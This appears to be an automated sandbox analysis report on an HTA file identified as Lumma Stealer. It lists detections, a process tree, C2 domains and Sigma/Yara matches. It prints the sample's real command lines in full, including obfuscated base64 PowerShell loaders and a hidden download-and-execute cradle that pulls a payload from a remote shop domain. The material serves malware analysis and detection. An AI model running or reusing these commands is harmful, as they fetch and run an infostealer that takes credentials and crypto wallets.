Edit tour

Windows Analysis Report
web55.mp4.hta

Overview

General Information

Sample name:	web55.mp4.hta
Analysis ID:	1585911
MD5:	888e63b183a6eb78b5e205a1be94dadb
SHA1:	a7561a7bd2aec16f4aa414b4427767bd071adbf1
SHA256:	1fd2a20e4495bd158b7572dd2b9fa6ab69d9c129e630cdc26bf8f26850a99100
Tags:	htaLummaStealeruser-lontze7
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Sigma detected: Powershell Download and Execute IEX

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

.NET source code contains very large array initializations

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

LummaC encrypted strings found

Powershell drops PE file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to modify clipboard data

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 6976 cmdline: mshta.exe "C:\Users\user\Desktop\web55.mp4.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 7324 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWR3QmxBR0lBTGdCckFHd0FhUUJ3QUdRQWVRQjNBRzhBZWdCcEFIa0FMZ0J6QUdnQWJ3QndBQzhBYXdCMUFHNEFiZ0JoQUhJQUxnQndBRzRBWndBbkFDa0FLUUJnQUNJQUlnQWdBQzBBVndCcEFHNEFaQUJ2QUhjQVV3QjBBSGtBYkFCbEFDQUFTQUJwQUdRQVpBQmxBRzRBOy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBLeUdZclVVRCgpe2Z1bmN0aW9uIGV6cENNZGhHUSgkckhQZWIpe2lmKCEoVGVzdC1QYXRoIC1QYXRoICRUaEJFWHBpVk8pKXtjdXJsIChLRmJDICRySFBlYikgLW8gJFRoQkVYcGlWT319fUt5R1lyVVVEOw=='))) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7460 cmdline: "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 7476 cmdline: powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7604 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 7700 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7508 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe (PID: 6680 cmdline: "C:\Users\user~1\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe" MD5: 89470385FDDACB118DEB7A7941E6A666)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["femalsabler.shop", "soundtappysk.shop", "quinceisoz.cam", "versersleep.shop", "robinsharez.shop", "apporholis.shop", "handscreamny.shop", "crowdwarek.shop", "chipdonkeruz.shop"], "Build id": "WG6I6S--web55"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7324	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x4eebd:$b2: ::FromBase64String( 0x4f07b:$b2: ::FromBase64String( 0x4f56c:$b2: ::FromBase64String( 0x4f72c:$b2: ::FromBase64String( 0x9deab:$b2: ::FromBase64String( 0x9e069:$b2: ::FromBase64String( 0x9e583:$b2: ::FromBase64String( 0x9e743:$b2: ::FromBase64String( 0x9fc08:$b2: ::FromBase64String( 0x9fdc8:$b2: ::FromBase64String( 0x11e6a7:$b2: ::FromBase64String( 0x11e865:$b2: ::FromBase64String( 0x11ed57:$b2: ::FromBase64String( 0x11ef17:$b2: ::FromBase64String( 0x1230a4:$b2: ::FromBase64String( 0x12326a:$b2: ::FromBase64String( 0x1275e5:$b2: ::FromBase64String( 0x1277a5:$b2: ::FromBase64String( 0x12f4a3:$b2: ::FromBase64String( 0x12f669:$b2: ::FromBase64String( 0x13d05c:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 7604	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7700	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7700	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x3c3684:$b2: ::FromBase64String( 0xc7d091:$b2: ::FromBase64String( 0x3c32e8:$s1: -join 0xa8de75:$s1: -join 0xa9af4a:$s1: -join 0xa9e31c:$s1: -join 0xa9e9ce:$s1: -join 0xaa04bf:$s1: -join 0xaa26c5:$s1: -join 0xaa2eec:$s1: -join 0xaa375c:$s1: -join 0xaa3e97:$s1: -join 0xaa3ec9:$s1: -join 0xaa3f11:$s1: -join 0xaa3f30:$s1: -join 0xaa4780:$s1: -join 0xaa48fc:$s1: -join 0xaa4974:$s1: -join 0xaa4a07:$s1: -join 0xaa4c6d:$s1: -join 0xaa6e03:$s1: -join
Process Memory Space: powershell.exe PID: 7508	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Other

Source	Rule	Description	Author	Strings
amsi32_7604.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_7700.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWR3QmxBR0lBTGdCckFHd0FhUUJ3QUdRQWVRQjNBRzhBZWdCcEFIa0FMZ0J6QUdnQWJ3QndBQzhBYXdCMUFHNEFiZ0JoQUhJQUxnQndBRzRBWndBbkFDa0FLUUJnQUNJQUlnQWdBQzBBVndCcEFHNEFaQUJ2QUhjQVV3QjBBSGtBYkFCbEFDQUFTQUJwQUdRQVpBQmxBRzRBOy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBLeUdZclVVRCgpe2Z1bmN0aW9uIGV6cENNZGhHUSgkckhQZWIpe2lmKCEoVGVzdC1QYXRoIC1QYXRoICRUaEJFWHBpVk8pKXtjdXJsIChLRmJDICRySFBlYikgLW8gJFRoQkVYcGlWT319fUt5R1lyVVVEOw=='))), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFC

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7604, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , ProcessId: 7700, ProcessName: powershell.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;", CommandLine: powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path 